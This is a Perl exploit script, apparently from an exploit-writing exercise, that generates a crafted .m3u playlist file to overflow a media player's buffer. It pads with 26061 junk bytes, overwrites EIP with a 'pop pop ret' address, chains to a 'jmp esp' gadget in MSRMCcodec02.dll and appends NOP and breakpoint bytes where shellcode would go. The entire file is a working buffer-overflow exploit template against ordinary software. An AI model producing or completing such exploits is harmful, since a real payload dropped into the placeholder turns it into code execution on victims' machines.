my $file= "pop-ret.m3u";
my $junk= "A" x 26061;
my $eip = pack('V',0x01BD1111); # "pop pop ret" from MSRMCcodec02.dll
my $jmpesp = pack('V',0x7E3A9353); # "jmp esp" from MSRMCcodec02.dll
my $prependesp = "XXXX"; # add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 8; # add more bytes
$shellcode = $shellcode . "CCCC"; # address to return via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\x90" x 50; # real shellcode

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Archivo m3u creado con exito\n";